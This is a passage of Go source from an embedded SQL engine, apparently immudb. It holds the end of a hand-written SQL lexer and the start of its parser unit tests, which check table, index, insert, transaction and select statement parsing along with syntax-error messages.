err != nil { lval.err = err return ERROR } if ch == '*' && l.r.nextChar == '/' { l.r.ReadByte() // consume closing slash break } } continue } if isLineBreak(ch) { if ch == '\r' && l.r.nextChar == '\n' { l.r.ReadByte() } continue } if !isSpace(ch) { break } } if isSeparator(ch) { return STMT_SEPARATOR } if ch == '-' && l.r.nextChar == '>' { l.r.ReadByte() return ARROW } if isBLOBPrefix(ch) && isQuote(l.r.nextChar) { l.r.ReadByte() // consume starting quote tail, err := l.readString() if err != nil { lval.err = err return ERROR } val, err := hex.DecodeString(tail) if err != nil { lval.err = err return ERROR } lval.blob = val return BLOB_LIT } if isLetter(ch) { tail, err := l.readWord() if err != nil { lval.err = err return ERROR } w := fmt.Sprintf("%c%s", ch, tail) tid := strings.ToUpper(w) val, ok := boolValues[tid] if ok { lval.boolean = val return BOOLEAN_LIT } afn, ok := aggregateFns[tid] if ok { lval.aggFn = afn return AGGREGATE_FUNC } join, ok := joinTypes[tid] if ok { lval.joinType = join return JOINTYPE } tkn, ok := keywords[tid] if ok { lval.keyword = w return tkn } lval.id = strings.ToLower(w) return IDENTIFIER } if isDoubleQuote(ch) { tail, err := l.readWord() if err != nil { lval.err = err return ERROR } if !isDoubleQuote(l.r.nextChar) { lval.err = fmt.Errorf("double quote expected") return ERROR } l.r.ReadByte() // consume ending quote lval.id = strings.ToLower(tail) return IDENTIFIER } if isNumber(ch) { tail, err := l.readNumber() if err != nil { lval.err = err return ERROR } // looking for a float if isDot(l.r.nextChar) { l.r.ReadByte() // consume dot decimalPart, err := l.readNumber() if err != nil { lval.err = err return ERROR } val, err := strconv.ParseFloat(fmt.Sprintf("%c%s.%s", ch, tail, decimalPart), 64) if err != nil { lval.err = err return ERROR } lval.float = val return FLOAT_LIT } val, err := strconv.ParseUint(fmt.Sprintf("%c%s", ch, tail), 10, 64) if err != nil { lval.err = err return ERROR } lval.integer = val return INTEGER_LIT } if isComparison(ch) { tail, err := l.readComparison() if err != nil { lval.err = err return ERROR } op := fmt.Sprintf("%c%s", ch, tail) if op == "!~" { return NOT_MATCHES_OP } cmpOp, ok := cmpOps[op] if !ok { lval.err = fmt.Errorf("invalid comparison operator %s", op) return ERROR } lval.cmpOp = cmpOp return CMPOP } if isQuote(ch) { tail, err := l.readString() if err != nil { lval.err = err return ERROR } lval.str = tail return VARCHAR_LIT } if ch == ':' { ch, err := l.r.ReadByte() if err != nil { lval.err = err return ERROR } if ch != ':' { lval.err = fmt.Errorf("colon expected") return ERROR } return SCAST } if ch == '@' { if l.namedParamsType == UnnamedParamType { lval.err = ErrEitherNamedOrUnnamedParams return ERROR } if l.namedParamsType == NamedPositionalParamType { lval.err = ErrEitherPosOrNonPosParams return ERROR } l.namedParamsType = NamedNonPositionalParamType ch, err := l.r.NextByte() if err != nil { lval.err = err return ERROR } if !isLetter(ch) { return ERROR } id, err := l.readWord() if err != nil { lval.err = err return ERROR } lval.id = strings.ToLower(id) return NPARAM } if ch == '$' { if l.namedParamsType == UnnamedParamType { lval.err = ErrEitherNamedOrUnnamedParams return ERROR } if l.namedParamsType == NamedNonPositionalParamType { lval.err = ErrEitherPosOrNonPosParams return ERROR } id, err := l.readNumber() if err != nil { lval.err = err return ERROR } pid, err := strconv.Atoi(id) if err != nil { lval.err = err return ERROR } if pid < 1 { lval.err = ErrInvalidPositionalParameter return ERROR } lval.pparam = pid l.namedParamsType = NamedPositionalParamType return PPARAM } if ch == '?' { if l.namedParamsType == NamedNonPositionalParamType || l.namedParamsType == NamedPositionalParamType { lval.err = ErrEitherNamedOrUnnamedParams return ERROR } l.paramsCount++ lval.pparam = l.paramsCount l.namedParamsType = UnnamedParamType return PPARAM } if isDot(ch) { if isNumber(l.r.nextChar) { // looking for a float decimalPart, err := l.readNumber() if err != nil { lval.err = err return ERROR } val, err := strconv.ParseFloat(fmt.Sprintf("%d.%s", 0, decimalPart), 64) if err != nil { lval.err = err return ERROR } lval.float = val return FLOAT_LIT } return DOT } return int(ch) } func (l *lexer) Error(err string) { l.err = fmt.Errorf("%s at position %d", err, l.r.ReadCount()) } func (l *lexer) readWord() (string, error) { return l.readWhile(func(ch byte) bool { return isLetter(ch) || isNumber(ch) }) } func (l *lexer) readNumber() (string, error) { return l.readWhile(isNumber) } func (l *lexer) readString() (string, error) { var b bytes.Buffer for { ch, err := l.r.ReadByte() if err != nil { return "", err } nextCh, _ := l.r.NextByte() if isQuote(ch) { if isQuote(nextCh) { l.r.ReadByte() // consume escaped quote } else { break // string completely read } } b.WriteByte(ch) } return b.String(), nil } func (l *lexer) readComparison() (string, error) { return l.readWhile(func(ch byte) bool { return isComparison(ch) }) } func (l *lexer) readWhile(condFn func(b byte) bool) (string, error) { var b bytes.Buffer for { ch, err := l.r.NextByte() if err == io.EOF { break } if err != nil { return "", err } if !condFn(ch) { break } ch, _ = l.r.ReadByte() b.WriteByte(ch) } return b.String(), nil } func isBLOBPrefix(ch byte) bool { return ch == 'x' } func isSeparator(ch byte) bool { return ch == ';' } func isLineBreak(ch byte) bool { return ch == '\r' || ch == '\n' } func isSpace(ch byte) bool { return ch == 32 || ch == 9 //SPACE or TAB } func isNumber(ch byte) bool { return '0' <= ch && ch <= '9' } func isLetter(ch byte) bool { return 'a' <= ch && ch <= 'z' || 'A' <= ch && ch <= 'Z' || ch == '_' } func isComparison(ch byte) bool { return ch == '!' || ch == '<' || ch == '=' || ch == '>' || ch == '~' } func isQuote(ch byte) bool { return ch == 0x27 } func isDoubleQuote(ch byte) bool { return ch == 0x22 } func isDot(ch byte) bool { return ch == '.' } func newCreateTableStmt( name string, elems []TableElem, ifNotExists bool, ) *CreateTableStmt { colsSpecs := make([]*ColSpec, 0, 5) var checks []CheckConstraint var pk PrimaryKeyConstraint for _, e := range elems { switch c := e.(type) { case *ColSpec: colsSpecs = append(colsSpecs, c) case PrimaryKeyConstraint: pk = c case CheckConstraint: if checks == nil { checks = make([]CheckConstraint, 0, 5) } checks = append(checks, c) } } return &CreateTableStmt{ ifNotExists: ifNotExists, table: name, colsSpec: colsSpecs, pkColNames: pk, checks: checks, } } ================================================ FILE: embedded/sql/parser_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "encoding/hex" "errors" "fmt" "strings" "testing" "github.com/stretchr/testify/require" ) func init() { yyErrorVerbose = true } func TestEmptyInput(t *testing.T) { _, err := ParseSQLString("") require.Error(t, err) } func TestCreateDatabaseStmt(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "CREATE DATABASE db1", expectedOutput: []SQLStmt{&CreateDatabaseStmt{DB: "db1"}}, expectedError: nil, }, { input: "CREATE db1", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected IDENTIFIER at position 10"), }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestUseDatabaseStmt(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "USE DATABASE db1", expectedOutput: []SQLStmt{&UseDatabaseStmt{DB: "db1"}}, expectedError: nil, }, { input: "USE db1", expectedOutput: []SQLStmt{&UseDatabaseStmt{DB: "db1"}}, expectedError: nil, }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestUseSnapshotStmt(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "USE SNAPSHOT SINCE TX 100", expectedOutput: []SQLStmt{ &UseSnapshotStmt{ period: period{ start: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Integer{val: 100}}, inclusive: true}, }, }, }, expectedError: nil, }, { input: "USE SNAPSHOT BEFORE now()", expectedOutput: []SQLStmt{ &UseSnapshotStmt{ period: period{ end: &openPeriod{instant: periodInstant{instantType: timeInstant, exp: &FnCall{fn: "now"}}}, }, }, }, expectedError: nil, }, { input: "USE SNAPSHOT UNTIL now()", expectedOutput: []SQLStmt{ &UseSnapshotStmt{ period: period{ end: &openPeriod{instant: periodInstant{instantType: timeInstant, exp: &FnCall{fn: "now"}}, inclusive: true}, }, }, }, expectedError: nil, }, { input: "USE SNAPSHOT SINCE TX 1 UNTIL TX 10", expectedOutput: []SQLStmt{ &UseSnapshotStmt{ period: period{ start: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Integer{val: 1}}, inclusive: true}, end: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Integer{val: 10}}, inclusive: true}, }, }, }, expectedError: nil, }, { input: "USE SNAPSHOT SINCE TX @fromTx BEFORE TX 10", expectedOutput: []SQLStmt{ &UseSnapshotStmt{ period: period{ start: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Param{id: "fromtx"}}, inclusive: true}, end: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Integer{val: 10}}}, }, }, }, expectedError: nil, }, { input: "USE SNAPSHOT AFTER TX @fromTx-1 BEFORE now()", expectedOutput: []SQLStmt{ &UseSnapshotStmt{ period: period{ start: &openPeriod{ instant: periodInstant{ instantType: txInstant, exp: &NumExp{op: SUBSOP, left: &Param{id: "fromtx"}, right: &Integer{val: 1}}, }, }, end: &openPeriod{instant: periodInstant{instantType: timeInstant, exp: &FnCall{fn: "now"}}}, }, }, }, expectedError: nil, }, { input: "USE SNAPSHOT BEFORE TX 10 SINCE TX 1", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected SINCE at position 31"), }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestCreateTableStmt(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", ifNotExists: false, colsSpec: []*ColSpec{{colName: "id", colType: IntegerType}}, pkColNames: []string{"id"}, }}, expectedError: nil, }, { input: "CREATE TABLE table1 (id UUID, PRIMARY KEY id)", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", ifNotExists: false, colsSpec: []*ColSpec{{colName: "id", colType: UUIDType}}, pkColNames: []string{"id"}, }}, expectedError: nil, }, { input: "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, PRIMARY KEY id)", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", ifNotExists: false, colsSpec: []*ColSpec{{colName: "id", colType: IntegerType, autoIncrement: true}}, pkColNames: []string{"id"}, }}, expectedError: nil, }, { input: "CREATE TABLE \"table\" (\"primary\" INTEGER AUTO_INCREMENT, PRIMARY KEY \"primary\")", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table", ifNotExists: false, colsSpec: []*ColSpec{{colName: "primary", colType: IntegerType, autoIncrement: true}}, pkColNames: []string{"primary"}, }}, expectedError: nil, }, { input: "CREATE TABLE xtable1 (xid INTEGER, PRIMARY KEY xid)", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "xtable1", ifNotExists: false, colsSpec: []*ColSpec{{colName: "xid", colType: IntegerType}}, pkColNames: []string{"xid"}, }}, expectedError: nil, }, { input: "CREATE TABLE IF NOT EXISTS table1 (id INTEGER, PRIMARY KEY (id))", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", ifNotExists: true, colsSpec: []*ColSpec{{colName: "id", colType: IntegerType}}, pkColNames: []string{"id"}, }}, expectedError: nil, }, { input: "CREATE TABLE table1 (id INTEGER, name VARCHAR(50), ts TIMESTAMP, active BOOLEAN, content BLOB, json_data JSON, PRIMARY KEY (id, name))", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", ifNotExists: false, colsSpec: []*ColSpec{ {colName: "id", colType: IntegerType}, {colName: "name", colType: VarcharType, maxLen: 50}, {colName: "ts", colType: TimestampType}, {colName: "active", colType: BooleanType}, {colName: "content", colType: BLOBType}, {colName: "json_data", colType: JSONType}, }, pkColNames: []string{"id", "name"}, }}, expectedError: nil, }, { input: "CREATE table1", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected IDENTIFIER at position 13"), }, { input: "CREATE TABLE table1", expectedOutput: []SQLStmt{&CreateTableStmt{table: "table1"}}, expectedError: errors.New("syntax error: unexpected $end, expecting '(' at position 20"), }, { input: "CREATE TABLE table1()", expectedOutput: []SQLStmt{&CreateTableStmt{table: "table1"}}, expectedError: errors.New("syntax error: unexpected ')' at position 21"), }, { input: "CREATE TABLE table1(id INTEGER, balance FLOAT, CONSTRAINT non_negative_balance CHECK (balance >= 0), PRIMARY KEY id)", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", colsSpec: []*ColSpec{ {colName: "id", colType: IntegerType}, {colName: "balance", colType: Float64Type}, }, checks: []CheckConstraint{ { name: "non_negative_balance", exp: &CmpBoolExp{ op: GE, left: &ColSelector{col: "balance"}, right: &Integer{val: 0}, }, }, }, pkColNames: PrimaryKeyConstraint{"id"}, }}, expectedError: nil, }, { input: "CREATE TABLE table1(id INTEGER PRIMARY KEY)", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", colsSpec: []*ColSpec{ { colName: "id", colType: IntegerType, primaryKey: true, notNull: true, }, }, }, }, }, { input: "DROP TABLE table1", expectedOutput: []SQLStmt{ &DropTableStmt{ table: "table1", }}, expectedError: nil, }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestCreateIndexStmt(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "CREATE INDEX ON table1(id)", expectedOutput: []SQLStmt{&CreateIndexStmt{table: "table1", cols: []string{"id"}}}, expectedError: nil, }, { input: "CREATE INDEX ON \"table\"(\"primary\")", expectedOutput: []SQLStmt{&CreateIndexStmt{table: "table", cols: []string{"primary"}}}, expectedError: nil, }, { input: "CREATE INDEX ON \"table(\"primary\")", expectedOutput: []SQLStmt{&CreateIndexStmt{table: "table", cols: []string{"primary"}}}, expectedError: errors.New("syntax error: unexpected ERROR at position 22"), }, { input: "CREATE INDEX IF NOT EXISTS ON table1(id)", expectedOutput: []SQLStmt{&CreateIndexStmt{table: "table1", ifNotExists: true, cols: []string{"id"}}}, expectedError: nil, }, { input: "CREATE INDEX table1(id)", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected IDENTIFIER, expecting ON at position 19"), }, { input: "CREATE UNIQUE INDEX ON table1(id, title)", expectedOutput: []SQLStmt{&CreateIndexStmt{unique: true, table: "table1", cols: []string{"id", "title"}}}, expectedError: nil, }, { input: "DROP INDEX ON table1(id, title)", expectedOutput: []SQLStmt{ &DropIndexStmt{ table: "table1", cols: []string{"id", "title"}, }}, expectedError: nil, }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestAlterTable(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "ALTER TABLE table1 ADD COLUMN title VARCHAR", expectedOutput: []SQLStmt{ &AddColumnStmt{ table: "table1", colSpec: &ColSpec{colName: "title", colType: VarcharType}, }}, expectedError: nil, }, { input: "ALTER TABLE table1 ADD COLUMN title BLOB", expectedOutput: []SQLStmt{ &AddColumnStmt{ table: "table1", colSpec: &ColSpec{colName: "title", colType: BLOBType}, }}, expectedError: nil, }, { input: "ALTER TABLE table1 COLUMN title VARCHAR", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected COLUMN, expecting DROP or ADD or RENAME at position 25"), }, { input: "ALTER TABLE table1 RENAME COLUMN title TO newtitle", expectedOutput: []SQLStmt{ &RenameColumnStmt{ table: "table1", oldName: "title", newName: "newtitle", }}, expectedError: nil, }, { input: "ALTER TABLE table1 RENAME COLUMN TO newtitle", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected TO at position 35"), }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestInsertIntoStmt(t *testing.T) { decodedBLOB, err := hex.DecodeString("AED0393F") require.NoError(t, err) testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "UPSERT INTO table1(id, time, title, active, compressed, payload, note) VALUES (2, now(), 'un''titled row', TRUE, false, x'AED0393F', @param1)", expectedOutput: []SQLStmt{ &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, ds: &valuesDataSource{ rows: []*RowSpec{{ Values: []ValueExp{ &Integer{val: 2}, &FnCall{fn: "now"}, &Varchar{val: "un'titled row"}, &Bool{val: true}, &Bool{val: false}, &Blob{val: decodedBLOB}, &Param{id: "param1"}, }}, }, }, }, }, expectedError: nil, }, { input: "UPSERT INTO table1(id, time, title, active, compressed, payload, note) VALUES (2, now(), '', TRUE, false, x'AED0393F', @param1)", expectedOutput: []SQLStmt{ &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, ds: &valuesDataSource{ rows: []*RowSpec{ {Values: []ValueExp{ &Integer{val: 2}, &FnCall{fn: "now"}, &Varchar{val: ""}, &Bool{val: true}, &Bool{val: false}, &Blob{val: decodedBLOB}, &Param{id: "param1"}, }}, }, }, }, }, expectedError: nil, }, { input: "UPSERT INTO table1(id, time, title, active, compressed, payload, note) VALUES (2, now(), '''', TRUE, false, x'AED0393F', @param1)", expectedOutput: []SQLStmt{ &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, ds: &valuesDataSource{ rows: []*RowSpec{ {Values: []ValueExp{ &Integer{val: 2}, &FnCall{fn: "now"}, &Varchar{val: "'"}, &Bool{val: true}, &Bool{val: false}, &Blob{val: decodedBLOB}, &Param{id: "param1"}, }}}, }, }, }, expectedError: nil, }, { input: "UPSERT INTO table1(id, time, title, active, compressed, payload, note) VALUES (2, now(), 'untitled row', TRUE, ?, x'AED0393F', ?)", expectedOutput: []SQLStmt{ &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, ds: &valuesDataSource{ rows: []*RowSpec{ {Values: []ValueExp{ &Integer{val: 2}, &FnCall{fn: "now"}, &Varchar{val: "untitled row"}, &Bool{val: true}, &Param{id: "param1", pos: 1}, &Blob{val: decodedBLOB}, &Param{id: "param2", pos: 2}, }}, }, }, }, }, expectedError: nil, }, { input: "UPSERT INTO table1(id, time, title, active, compressed, payload, note) VALUES (2, now(), $1, TRUE, $2, x'AED0393F', $1)", expectedOutput: []SQLStmt{ &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, ds: &valuesDataSource{ rows: []*RowSpec{ {Values: []ValueExp{ &Integer{val: 2}, &FnCall{fn: "now"}, &Param{id: "param1", pos: 1}, &Bool{val: true}, &Param{id: "param2", pos: 2}, &Blob{val: decodedBLOB}, &Param{id: "param1", pos: 1}, }, }, }, }, }, }, expectedError: nil, }, { input: "UPSERT INTO table1(id, title) VALUES ($0, $1)", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected ERROR, expecting ')' at position 40"), }, { input: "UPSERT INTO table1(id, title) VALUES (?, @title)", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected ERROR at position 42"), }, { input: "UPSERT INTO table1(id, title) VALUES (@id, ?)", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected ERROR at position 44"), }, { input: "UPSERT INTO table1(id, title) VALUES (@id, $1)", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected ERROR at position 44"), }, { input: "UPSERT INTO table1(id, title) VALUES ($1, @title)", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected ERROR at position 43"), }, { input: "UPSERT INTO table1(id, title) VALUES ($1, ?)", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected ERROR at position 43"), }, { input: "UPSERT INTO table1(id, title) VALUES (?, $1)", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected ERROR at position 42"), }, { input: "UPSERT INTO table1(id, title) VALUES ($1, $title)", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected ERROR at position 43"), }, { input: "UPSERT INTO table1(id, active) VALUES (1, false), (2, true), (3, true)", expectedOutput: []SQLStmt{ &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "active"}, ds: &valuesDataSource{ rows: []*RowSpec{ {Values: []ValueExp{&Integer{val: 1}, &Bool{val: false}}}, {Values: []ValueExp{&Integer{val: 2}, &Bool{val: true}}}, {Values: []ValueExp{&Integer{val: 3}, &Bool{val: true}}}, }, }, }, }, expectedError: nil, }, { input: "INSERT INTO table1(id, active) SELECT * FROM my_table", expectedOutput: []SQLStmt{ &UpsertIntoStmt{ isInsert: true, tableRef: &tableRef{table: "table1"}, cols: []string{"id", "active"}, ds: &SelectStmt{ ds: &tableRef{ table: "my_table", }, targets: nil, }, }, }, expectedError: nil, }, { input: "UPSERT INTO table1(id, active) SELECT * FROM my_table WHERE balance >= 0 AND deleted_at IS NULL", expectedOutput: []SQLStmt{ &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "active"}, ds: &SelectStmt{ ds: &tableRef{ table: "my_table", }, targets: nil, where: &BinBoolExp{ op: And, left: &CmpBoolExp{op: GE, left: &ColSelector{col: "balance"}, right: &Integer{val: 0}}, right: &CmpBoolExp{op: EQ, left: &ColSelector{col: "deleted_at"}, right: &NullValue{t: AnyType}}, }, }, }, }, expectedError: nil, }, { input: "INSERT INTO table1() VALUES (2, 'untitled')", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected ')' at position 20"), }, { input: "UPSERT INTO table1() VALUES (2, 'untitled')", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected ')' at position 20"), }, { input: "UPSERT INTO VALUES (2)", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected VALUES at position 18"), }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestStmtSeparator(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "CREATE TABLE table1 (id INTEGER, PRIMARY KEY id);", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", colsSpec: []*ColSpec{ {colName: "id", colType: IntegerType}, }, pkColNames: []string{"id"}, }, }, expectedError: nil, }, { input: "CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)\n", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", colsSpec: []*ColSpec{ {colName: "id", colType: IntegerType}, }, pkColNames: []string{"id"}, }, }, expectedError: nil, }, { input: "CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)\r\n", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", colsSpec: []*ColSpec{ {colName: "id", colType: IntegerType}, }, pkColNames: []string{"id"}, }, }, expectedError: nil, }, { input: "CREATE DATABASE db1; USE DATABASE db1;", expectedOutput: []SQLStmt{ &CreateDatabaseStmt{DB: "db1"}, &UseDatabaseStmt{DB: "db1"}, }, expectedError: nil, }, { input: "CREATE DATABASE db1; /* some comment here */ USE /* another comment here */ DATABASE db1", expectedOutput: []SQLStmt{ &CreateDatabaseStmt{DB: "db1"}, &UseDatabaseStmt{DB: "db1"}, }, expectedError: nil, }, { input: "CREATE DATABASE db1; USE DATABASE db1; USE DATABASE db1", expectedOutput: []SQLStmt{ &CreateDatabaseStmt{DB: "db1"}, &UseDatabaseStmt{DB: "db1"}, &UseDatabaseStmt{DB: "db1"}, }, expectedError: nil, }, { input: "CREATE DATABASE db1 USE DATABASE db1", expectedOutput: nil, expectedError: errors.New("syntax error: unexpected USE at position 23"), }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestTxStmt(t *testing.T) { testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "BEGIN TRANSACTION; UPSERT INTO table1 (id, label) VALUES (100, 'label1'); UPSERT INTO table2 (id) VALUES (10); ROLLBACK;", expectedOutput: []SQLStmt{ &BeginTransactionStmt{}, &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "label"}, ds: &valuesDataSource{ rows: []*RowSpec{ {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, }, }, }, &UpsertIntoStmt{ tableRef: &tableRef{table: "table2"}, cols: []string{"id"}, ds: &valuesDataSource{ rows: []*RowSpec{ {Values: []ValueExp{&Integer{val: 10}}}, }, }, }, &RollbackStmt{}, }, expectedError: nil, }, { input: "CREATE TABLE table1 (id INTEGER, label VARCHAR, PRIMARY KEY id); BEGIN TRANSACTION; UPSERT INTO table1 (id, label) VALUES (100, 'label1'); COMMIT;", expectedOutput: []SQLStmt{ &CreateTableStmt{ table: "table1", colsSpec: []*ColSpec{ {colName: "id", colType: IntegerType}, {colName: "label", colType: VarcharType}, }, pkColNames: []string{"id"}, }, &BeginTransactionStmt{}, &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "label"}, ds: &valuesDataSource{ rows: []*RowSpec{ {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, }, }, }, &CommitStmt{}, }, expectedError: nil, }, { input: "BEGIN TRANSACTION; UPDATE table1 SET label = 'label1' WHERE id = 100; COMMIT;", expectedOutput: []SQLStmt{ &BeginTransactionStmt{}, &UpdateStmt{ tableRef: &tableRef{table: "table1"}, updates: []*colUpdate{ {col: "label", op: EQ, val: &Varchar{val: "label1"}}, }, where: &CmpBoolExp{ op: EQ, left: &ColSelector{col: "id"}, right: &Integer{val: 100}, }, }, &CommitStmt{}, }, expectedError: nil, }, { input: "BEGIN TRANSACTION; CREATE TABLE table1 (id INTEGER, label VARCHAR NOT NULL, PRIMARY KEY id); UPSERT INTO table1 (id, label) VALUES (100, 'label1'); COMMIT;", expectedOutput: []SQLStmt{ &BeginTransactionStmt{}, &CreateTableStmt{ table: "table1", colsSpec: []*ColSpec{ {colName: "id", colType: IntegerType}, {colName: "label", colType: VarcharType, notNull: true}, }, pkColNames: []string{"id"}, }, &UpsertIntoStmt{ tableRef: &tableRef{table: "table1"}, cols: []string{"id", "label"}, ds: &valuesDataSource{ rows: []*RowSpec{ {Values: []ValueExp{&Integer{val: 100}, &Varchar{val: "label1"}}}, }, }, }, &CommitStmt{}, }, expectedError: nil, }, } for i, tc := range testCases { res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { require.Equal(t, tc.expectedOutput, res, fmt.Sprintf("failed on iteration %d", i)) } } } func TestSelectStmt(t *testing.T) { bs, _ := hex.DecodeString("AED0393F") testCases := []struct { input string expectedOutput []SQLStmt expectedError error }{ { input: "SELECT 1, true, 'test'", expectedOutput: []SQLStmt{ &SelectStmt{ targets: []TargetEntry{ {Exp: &Integer{1}}, {Exp: &Bool{true}}, {Exp: &Varchar{"test"}}, }, ds: &valuesDataSource{rows: []*RowSpec{{}}}, }, }, }, { input: "SELECT id, title FROM table1", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1"}, }}, expectedError: nil, }, { input: "SELECT id, title FROM table1 AS t1", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{col: "id"}}, {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1", as: "t1"}, }}, expectedError: nil, }, { input: "SELECT t1.id, title FROM table1 t1", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{table: "t1", col: "id"}}, {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1", as: "t1"}, }}, expectedError: nil, }, { input: "SELECT table1.id, title FROM table1 AS t1 WHERE payload >= x'AED0393F'", expectedOutput: []SQLStmt{ &SelectStmt{ distinct: false, targets: []TargetEntry{ {Exp: &ColSelector{table: "table1", col: "id"}}, {Exp: &ColSelector{col: "title"}}, }, ds: &tableRef{table: "table1", as: "t1"}, where: &CmpBoolExp{ op: GE, left: &ColSelector{ col: 